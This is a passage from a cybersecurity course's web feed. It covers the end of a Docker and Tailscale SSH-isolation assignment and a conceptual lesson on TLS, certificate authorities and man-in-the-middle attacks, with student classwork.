&lt;p&gt;By not binding a port to the host you cannot ssh from anywhere except your tailnet on this box.&lt;/p&gt;
&lt;h3&gt;But WAIT! What if your tailnet has many things on it and you want to restrict it further?&lt;/h3&gt;
&lt;p&gt;Restrict access so that you must ssh onto container1 in order to ssh onto container 2. This can be done using tailscale ACLs.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;RESEARCH:&lt;/strong&gt; You must research how to add isolation rules to your tailnet using acls.
    Apply a filter so that ONLY your 1st machine can ssh onto your 2nd machine, nobody else.
    This is non-trivial, spend some time reading after you get the rest of this assignment working.&lt;/p&gt;
&lt;h2&gt;To get credit:&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;You will log into your DO control panel and show your droplet.&lt;/li&gt;
&lt;li&gt;You will log into your tailscale control panel and show your connected machines.&lt;/li&gt;
&lt;li&gt;You will show that this droplet has 2 docker containers running.&lt;/li&gt;
&lt;li&gt;You will show the docker-compose.yaml, and docker compose down, then docker compose up -d&lt;/li&gt;
&lt;li&gt;You will ssh onto box1 from your DO-host. then ssh into your 2nd container using the tailscale name.&lt;/li&gt;
&lt;li&gt;You will show that your tailnet blocks every other system from ssh'ing into your 2nd container.&lt;/li&gt;
&lt;/ol&gt;
&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-06-02n"/><published>2026-06-02T12:00:00+00:00</published></entry><entry><id>2026-06-02n</id><title> 2026-06-05</title><updated>2026-06-05T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-06-02n"&gt;
&lt;h5&gt; 2026-06-05&lt;/h5&gt;
&lt;h2&gt;Have your Docker-Tailscale assignment ready to show off on Monday.&lt;/h2&gt;
&lt;p&gt;Verify you have a valid tailscale admin configuration to block/allow things getting to your 2nd host. Do this before Monday.&lt;/p&gt;
&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-06-02n"/><published>2026-06-05T12:00:00+00:00</published></entry><entry><id>2026-06-11n</id><title> 2026-06-11</title><updated>2026-06-11T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-06-11n"&gt;
&lt;h5&gt; 2026-06-11&lt;/h5&gt;
&lt;h2&gt;How TLS and Certificate Authorities Work&lt;/h2&gt;
&lt;h1 id="how-tls-and-certificate-authorities-work"&gt;How TLS and Certificate Authorities Work&lt;/h1&gt;
&lt;p&gt;A simplified explanation of public/private key encryption, man-in-the-middle attacks, and how Certificate Authorities (CAs) establish trust.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="1-public-private-key-exchange"&gt;1. Public/Private Key Exchange&lt;/h2&gt;
&lt;p&gt;Think of a public key like an &lt;strong&gt;open padlock&lt;/strong&gt;, and a private key like the &lt;strong&gt;only key that can open it&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;If Bob wants to send Alice a secure message:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Alice shares her public key&lt;/strong&gt; — she gives it to anyone. It's not secret.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bob encrypts the message&lt;/strong&gt; — he uses Alice's public key (the padlock) to lock the message.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Alice decrypts the message&lt;/strong&gt; — only her private key can open it.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;
┌─────────┐                        ┌─────────┐
│ Bob     │                        │ Alice   │
└────┬────┘                        └────┬────┘
     │                                  │
     │ 1. "Send me your public key"     │
     │ ───────────────────────────────► │
     │                                  │
     │ 2. Alice's Public Key            │
     │ ◄─────────────────────────────── │
     │                                  │
     │ 3. Encrypt message with key      │
     │ ───────────────────────────────► │
     │                                  │
     │ 4. Decrypt with private key      │
     │                                  │
&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Key point:&lt;/strong&gt; Even if someone intercepts the message in transit, they cannot read it because they lack Alice's private key.&lt;/p&gt;
&lt;p&gt;This works perfectly—assuming Bob actually has Alice's public key.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="2-the-man-in-the-middle-mitm-attack"&gt;2. The Man-in-the-Middle (MITM) Attack&lt;/h2&gt;
&lt;p&gt;The security relies on Bob having the &lt;strong&gt;correct&lt;/strong&gt; public key.&lt;/p&gt;
&lt;p&gt;If an attacker (Mallory) sits between Bob and Alice, she can trick Bob:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Bob asks for Alice's public key.&lt;/li&gt;
&lt;li&gt;Mallory intercepts and sends &lt;strong&gt;her own public key&lt;/strong&gt; instead.&lt;/li&gt;
&lt;li&gt;Bob thinks he is encrypting for Alice, but encrypts for Mallory.&lt;/li&gt;
&lt;li&gt;Mallory decrypts, reads, re-encrypts with Alice's key, and forwards.&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;
┌─────────┐           ┌─────────┐     ┌─────────┐
│ Bob     │           │ Mallory │     │ Alice   │
└────┬────┘           │ (MITM)  │     └────┬────┘
     │                └────┬────┘          │
     │                     │               │
     │ "Public key?"       │               │
     │   ─────────────────►│               │
     │                     │               │
     │       Mallory's key │               │
     │   ◄─────────────────│               │
     │         (pretending │               │
     │       it's Alice's) │               │
     │                     │               │
     │       Encrypted msg │               │
     │   ─────────────────►│               │
     │                     │Decrypt &amp;amp; read │
     │                     │ Re-encrypt    │
     │                     │ ─────────────►│
     │                     │               │
&lt;/pre&gt;
&lt;p&gt;Bob and Alice have no idea this happened. &lt;strong&gt;Encryption worked, but privacy failed because Bob trusted the wrong key.&lt;/strong&gt;&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="3-how-a-certificate-authority-ca-fixes-this"&gt;3. How a Certificate Authority (CA) Fixes This&lt;/h2&gt;
&lt;p&gt;A CA solves the trust problem by &lt;strong&gt;vouching for identities&lt;/strong&gt;.&lt;/p&gt;
&lt;h3 id="what-is-a-certificate-"&gt;What is a Certificate? How do you get one?&lt;/h3&gt;
&lt;p&gt;Instead of just sending a public key, Alice registers her site with Certificate Authority is a trusted organization
  that verifies identities and issues digital certificates. They confirm you are who you say you are, and issue a document that others can trust.&lt;/p&gt;&lt;p&gt;
&lt;/p&gt;&lt;p&gt;The CA takes the contents of the certificate (Alice's identity and public key) and runs
   them through Public/Private key encryption. The trick here, is that their DECRYPTION key is public. Only they can create a certificate.

&lt;/p&gt;&lt;p&gt;Now when someone connects to Alice she sends that &lt;strong&gt;certificate&lt;/strong&gt;:&lt;/p&gt;
&lt;pre&gt;
  ┌───────────────────────────────────┐
  │ CERTIFICATE                       │
  ├───────────────────────────────────┤
  │ Identity: alice.com               │
  │ Public Key: [Alice's Public Key]  │
  │ Signature:  [Encrypted by CA]     │
  └───────────────────────────────────┘
&lt;/pre&gt;
&lt;p&gt;This certificate is decrypted using the CA's public DECRYPTION key. A MITM could not create the cert, they can only verify certs by decrypting.&lt;/p&gt;
&lt;p&gt;Since only a CA can create this file, you can be certain that you are connected to Alice, and not a MITM.&lt;/p&gt;
&lt;h3 id="how-it-works"&gt;How It Works&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Step&lt;/th&gt;
&lt;th&gt;Action&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Pre-trust&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Your browser comes with the CA's public key pre-installed.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Verification&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Before signing, the CA confirms Alice actually owns &lt;code&gt;alice.com&lt;/code&gt;.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Signing&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;The CA uses its private key to sign Alice's certificate.&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Validation&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Bob's browser uses the CA's public key to verify the signature.&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;If the signature is valid, Bob knows: &lt;strong&gt;"The CA confirms this public key belongs to Alice."&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;&lt;/h3&gt;&lt;p&gt;WAIT! Where does Bob get the public key from? Can't the MITM just send the wrong one?!?!?!&lt;/p&gt;
&lt;p&gt;Browsers have some certificates pre-installed, but they also rely on root certificate stores maintained by browser vendors
  and operating system vendors. These pre-installed root certificates are the trust anchors that anchor the entire PKI (Public Key Infrastructure) system.&lt;/p&gt;
&lt;p&gt;The browser doesn't directly trust a server's certificate. Instead, it trusts a small set of root Certificate Authorities (CAs), and then verifies that the server's certificate chains back to one of those trusted roots.&lt;/p&gt;&lt;p&gt;
&lt;/p&gt;&lt;h3 id="why-the-mitm-fails-now"&gt;Why the MITM Fails Now&lt;/h3&gt;
&lt;p&gt;If Mallory tries the same attack:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Bob requests Alice's certificate.&lt;/li&gt;
&lt;li&gt;Mallory intercepts and sends her own certificate (&lt;code&gt;mallory.com&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Bob's browser checks:&lt;ul&gt;
&lt;li&gt;Signature is valid ✓&lt;/li&gt;
&lt;li&gt;BUT name (&lt;code&gt;mallory.com&lt;/code&gt;) doesn't match &lt;code&gt;alice.com&lt;/code&gt; ✗&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Browser shows a &lt;strong&gt;WARNING&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Mallory cannot forge a certificate for &lt;code&gt;alice.com&lt;/code&gt; because the CA won't sign it without proof of ownership.&lt;/p&gt;
&lt;hr/&gt;
&lt;pre&gt;
  ┌─────────┐                        ┌─────────┐
  │ Bob     │                        │ Alice   │
  └────┬────┘                        └────┬────┘
       │                                  │
       │  1. "Show me your certificate"   │
       │ ───────────────────────────────► │
       │                                  │
       │  2. Certificate                  │
       │     (Public Key + Identity +     │
       │      CA Signature)               │
       │ ◄─────────────────────────────── │
       │                                  │
       │  3. Verify CA signature,         │
       │     extract key, encrypt msg     │
       │ ───────────────────────────────► │
       │                                  │
       │  4. Decrypt with private key     │
       │                                  │
&lt;/pre&gt;
&lt;h3&gt;What changed in this flow:&lt;/h3&gt;
&lt;p&gt;Step 1: Bob's browser asks for proof of identity, not just a key.
&lt;/p&gt;
&lt;p&gt;Step 2: Alice sends her Certificate. Because it contains a CA signature, an attacker cannot modify it or swap out the public key without invalidating the signature.&lt;/p&gt;
&lt;p&gt;Step 3: This is the critical addition. Before encrypting anything, Bob's browser checks the CA signature using the pre-installed root keys. If the signature proves valid and the identity matchesalice.com, Bob extracts the public key from inside the certificate and uses it to encrypt the message.&lt;/p&gt;
&lt;h2&gt;This transitions to a faster algorithm: a stream cipher!&lt;/h2&gt;
&lt;p&gt;Since stream ciphers are much faster, we only use the public/private key pairs for the handshake. We then use a stream cipher key for the rest of the data.&lt;/p&gt;
&lt;p&gt;In &lt;strong&gt;older TLS versions&lt;/strong&gt;, the client generated the symmetric key and sent it to the server encrypted with the server's public key.&lt;/p&gt;
&lt;p&gt;The problem: If an attacker records the session and later compromises the server's private key, they can decrypt the Pre-Master Secret and derive the session key. This is why RSA key exchange is deprecated in TLS 1.3.&lt;/p&gt;
&lt;p&gt;The modern &lt;strong&gt;TLS 1.3 uses a Diffie-Hellman (ECDHE) key exchange&lt;/strong&gt;. Both parties contribute to the key. Neither side "sends" the key itself; they send mathematical parameters that allow them to calculate the same result.&lt;/p&gt;&lt;p&gt;
&lt;/p&gt;&lt;p&gt;This provides Forward Secrecy: if the server's private key is leaked later, past sessions cannot be decrypted because the session key was never stored or transmitted.&lt;/p&gt;
&lt;p&gt;I am not teaching the full steps for this, it is a dedicated lesson that we just don't have time for.&lt;/p&gt;&lt;p&gt;
&lt;/p&gt;&lt;h2&gt;Classwork:&lt;/h2&gt;
&lt;p&gt;1. Discuss with your nighbors any points in the reading that you are unsure of. If you cannot agree, use your google-fu to set the record straight.&lt;/p&gt;
&lt;p&gt;2. In your &lt;code&gt;classwork_repo/09-TLS.txt&lt;/code&gt; write a response to the following:&lt;/p&gt;
&lt;p&gt;You are a security engineer at a small company. A colleague asks you: "When I visit bank.com, how does my browser know it's actually the bank and not an attacker? And why can't an attacker just create their own certificate forbank.com?"&lt;/p&gt;
&lt;p&gt;Write a clear explanation. Use correct terminology. Use clear paragraphs and a address all of these points:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;What role the Certificate Authority (CA) plays&lt;/li&gt;
&lt;li&gt;How the browser validates the certificate using pre-installed root certificates&lt;/li&gt;
&lt;li&gt;Why an attacker cannot simply create a valid certificate for a domain they don't own&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Save your work.&lt;/h3&gt;
&lt;p&gt;After completing your response, use an AI chatbot (such as ChatGPT, Claude, Gemini, or similar) to evaluate your work. Copy and paste the following prompt along with your response:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;I am a student completing a written assignment about TLS certificate validation.
Please evaluate my response below for:

1. **Technical Accuracy**: Are there any factual errors or misconceptions?
2. **Completeness**: Did I address all required points adequately?
3. **Clarity**: Is my explanation clear and well-structured?
4. **Terminology**: Did I use technical terms correctly?

If I made any errors, please explain what is incorrect and why. If I missed important
concepts, list what should be added. Be specific and constructive.

[PASTE YOUR OWN WRITTEN RESPONSE HERE]
&lt;/code&gt; &lt;/pre&gt;
&lt;p&gt;Correct/Amend your written response and place it UNDERNEATH your original response.&lt;/p&gt;
&lt;h2 id="further-reading"&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://letsencrypt.org/docs/"&gt;Let's Encrypt Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-06-11n"/><published>2026-06-11T12:00:00+00:00</published></entry></feed>